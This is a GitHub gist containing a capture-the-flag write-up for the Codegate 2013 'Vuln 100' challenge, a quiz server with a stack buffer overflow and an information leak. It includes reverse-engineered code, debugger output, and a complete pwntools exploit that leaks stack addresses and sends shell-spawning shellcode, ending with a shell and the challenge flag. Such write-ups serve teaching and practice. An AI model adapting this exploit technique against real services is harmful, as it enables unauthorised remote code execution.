Skip to content

Instantly share code, notes, and snippets.

@ebeip90
Last active August 29, 2015 13:57
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save ebeip90/9777773 to your computer and use it in GitHub Desktop.
Save ebeip90/9777773 to your computer and use it in GitHub Desktop.
Codegate 2013 Vuln 100 Writeup

Codegate 2013 Vuln 100 Writeup

Initial Investigation

Simple forking server listens on port 6666.

$ checksec.sh --file ./94dd6790cbf7ebfc5b28cc289c480e5e
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
Partial RELRO   No canary found   NX disabled   No PIE          No RPATH   No RUNPATH   ./94dd6790cbf7ebfc5b28cc289c480e5e

After answering some trivia, it asks for your name.

$ nc localhost 6666
Welcome to CODEGATE2013.
This is quiz game.
Solve the quiz.

It is Foot Ball Club. This Club is an English Primier league football club. This Club founded 1886. This club Manager Arsene Wenger. This club Stadium is Emirates Stadium. What is this club? (only small letter)
arsenal
good!1
It is a royal palace locate in northern Seoul, South Korea. First constructed in 1395, laster burned and abandoned for almost three centuries, and then reconstructed in 1867, it was the main and largest place of the Five Grand Palaces built by the joseon Dynasty. What is it?(only small letter)
gyeongbokgung
good!2
He is South Korean singer, songwriter, rapper, dancer and record producer. He is known domestically for his humorous videos and stage performances, and internationally for his hit single Gangnam Style. Who is he?(only small letter)
psy
good!3
rank write! your nickname:
ebeip90
ebeip9 very good ranke
game the end

The thing to note immediately is that the name was truncated. nc will wait until you hit enter to send the data, and terminate it with '\n\x00'. Let's try this again in Python. This example makes use of pwnies' pwntools, see their github repo for more information.

from pwn import *
r = remote('localhost',6666,timeout=0.5)
>>> [+] Opening connection to localhost on port 6666: Done
r.sendline('arsenal')
r.recvall()
>>> [+] Recieving all data: Done
r.sendline('gyeongbokgung')
r.recvall()
>>> [+] Recieving all data: Done
r.sendline('psy')
r.recvall()
>>> [+] Recieving all data: Done
r.sendline('A\x00')
print hexdump(r.recvall())
00000000  41 00 7c 40 ff 7f 00 00   a0 98 ae ed 52 7f 00 00  |A.|@........R...|
00000010  00 00 00 00 00 00 00 00   40 7e 7c 40 ff 7f 00 00  |........@~|@....|
00000020  90 0a 40 00 00 00 00 00   40 a7 e9 ed 52 7f 00 00  |..@.....@...R...|
...

Reverse Engineering the Binary

Awesome, looks liek we're leaking data over the connection. Let's take a look in IDA. After getting past the trivia logic, we see the following code.

// 0401133:
send("good!3\n", 7);
send("rank write! your nickname:\n", 0x1c);
recv(buffer, 0x800);
recv(buffer, 0x800);
sub_400C69(buffer);

It looks something like this:

void sub_400C69(char* userInput) {
    char buffer[0x108];
    char* p_buffer = buffer;

    // Stack buffer overflow!
    memcpy(buffer, userInput, strlen(userInput));
    strcpy(p_buffer, buffer)

    g_buffer = p_buffer;
}

After returning from sub_400C69, we send the user back their name:

send(sock, g_buffer, strlen(g_buffer)-1); // Leak!
send(sock, " very good ranker ", ...);
send(sock, "\ngame the end\n", ...)''

So far we have two distinct bugs -- strlen(input)-1 and an unchecked memcpy of controlled input into a stack buffer. The stack is executeable, and since this is a forking server, the stack addresses will not change in between runs.

Exploitation

Exploitation will be two-step:

  1. Find the stack address by sending a very short name string to dump the stack.
  2. Send a crafted buffer to overflow the strcpy() destination pointer, and point it at <our buf+X>, where is the number of bytes between the destination pointer and the return address. The memcpy() will overwrite the destination pointer, and the strcpy() will overwrite the return address. This will cause our buffer to start execution at offset +X.

Keywords: codegate 2013 vuln vuln100 vulnerability exploit Very_G00d_St6rt!!_^^

#!/usr/bin/env python
from pwn import *
def solve_riddle():
r = remote('localhost',6666,timeout=0.5,silent=True)
r.sendline('arsenal')
r.recvall()
r.sendline('gyeongbokgung')
r.recvall()
r.sendline('psy')
r.recvall()
return r
"""
## Leak the stack
By sending too little data, the server will dump the entire stack to the socket.
Using this information, we can determine the offset of the buffer and return address
for the routien sub_400C69
"""
r = solve_riddle()
r.sendline('A' + '\x00' * 7)
stack_leak = r.recvall()
log.info("Stack leak:")
print hexdump(stack_leak[:0x30], 8)
"""
The overall stack structure looks like below, when dumped at 400CD0.
Note that rbp-8, -0, and +8 are displayed below. These correspond to:
- p_buffer
- frame pointer
- return address
gdb-peda$ telescope $rbp-8 3
0000| 0x7fffffffd1b8 --> 0x7fffffffd0b0 --> 0x7fffffffd168 --> 0x0
0008| 0x7fffffffd1c0 --> 0x7fffffffd600 --> 0x0
0016| 0x7fffffffd1c8 --> 0x40121e (mov rax,QWORD PTR [rip+0x200eb3] # 0x6020d8)
gdb-peda$ context code 2
Here we see the actual arguments passed in.
-------------------------------------code-------------------------------------]
=> 0x400cd0: call 0x400a80 <memcpy@plt>
Guessed arguments:
arg[0]: 0x7fffffffd0b0 --> 0x7fffffffd168 --> 0x0
arg[1]: 0x7fffffffd6e8 --> 0x41 ('A')
arg[2]: 0x1
And this is the data that ends up in 'stack_leak'.
Note that it starts with 'A\x00', our supplied name.
00000000 41 00 ff ff ff 7f 00 00 |A.......|
00000008 a0 68 64 f7 ff 7f 00 00 |.hd.....|
00000010 00 00 00 00 00 00 00 00 |........|
00000018 c0 d1 ff ff ff 7f 00 00 |........|
00000020 90 0a 40 00 00 00 00 00 |..@.....|
00000028 40 77 9f f7 ff 7f 00 00 |@w......|
At +0x18 is the first full stack address, 0x7fffffffd1c0,
which we will use as a reference point to calculate all other
addresses in the actual binary (vs. the addresses in the debugger),
"""
addresses = {
'orig': 0x7fffffffd6e8,
'memcpy_dst': 0x7fffffffd0b0,
'strcpy_dst_deref': 0x7fffffffd1b8,
'frame': 0x7fffffffd1c0,
'return': 0x7fffffffd1c8
}
debugger_stack = 0x7fffffffd1c0
actual_stack = u64(stack_leak[0x18:][:8])
log.info("Remote addresses:")
for k in addresses.keys():
addr = addresses[k]
addr -= debugger_stack
addr += actual_stack
print "%x %s" % (addr, k)
addresses[k] = addr
"""
In order to exploit, we have to survive the strcpy().
Since we know where everything on the stack is, this is almost straightfoward.
Instead of directly overwriting the return address, we will overwrite p_dest
such that the strcpy() will effectively shift our buffer up the stack to
overwrite some of the least significant bytes of the return address.
orig memcpy strcpy
------ ------ ------
buffer <-. buffer buffer <-.
... | ... ... |
... | ... buffer |
... | ... ... |
----- | ----- ... |
pbuffer -` XXuffer . ... |
----- ----- | ----- |
frame frame | frame |
----- ----- | ----- |
retaddr retaddr <` XXtaddr -`
----- ----- -----
"""
context('linux','amd64')
sizeof_buffer = 0x108
trap = asm(shellcode.trap())
nop = asm(shellcode.nop())
pad = nop # nop
delta = addresses['return'] - addresses['strcpy_dst_deref']
buf = ''
buf += asm(shellcode.dupsh(4))
while len(buf) < 0x108:
buf += pad
buf += p64(addresses['memcpy_dst'] + delta)
log.info("Exploit buf:")
print hexdump(buf, 8)
r = solve_riddle()
r.send(buf)
r.interactive()
[*] Stack leak:
00000000 41 00 39 c9 ff 7f 00 00 |A.9.....|
00000008 a0 88 25 7a 62 7f 00 00 |..%zb...|
00000010 00 00 00 00 00 00 00 00 |........|
00000018 40 b2 39 c9 ff 7f 00 00 |@.9.....|
00000020 90 0a 40 00 00 00 00 00 |..@.....|
00000028 40 97 60 7a 62 7f 00 00 |@.`zb...|
00000030
[*] Remote addresses:
7fffc939b238 strcpy_dst_deref
7fffc939b240 frame
7fffc939b248 return
7fffc939b130 memcpy_dst
7fffc939b768 orig
[*] Exploit buf:
00000000 6a 04 5d 6a 03 89 ef 5e |j.]j...^|
00000008 ff ce 78 08 56 6a 21 58 |..x.Vj!X|
00000010 0f 05 eb f1 48 b8 2f 62 |....H./b|
00000018 69 6e 2f 2f 73 68 99 89 |in//sh..|
00000020 d6 52 50 48 89 e7 6a 3b |.RPH..j;|
00000028 58 0f 05 90 90 90 90 90 |X.......|
00000030 90 90 90 90 90 90 90 90 |........|
*
00000108 40 b1 39 c9 ff 7f 00 00 |@.9.....|
00000110
$ ls
94dd6790cbf7ebfc5b28cc289c480e5e
94dd6790cbf7ebfc5b28cc289c480e5e.i64
exploit.py
writeup.md
$
Interrupted
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment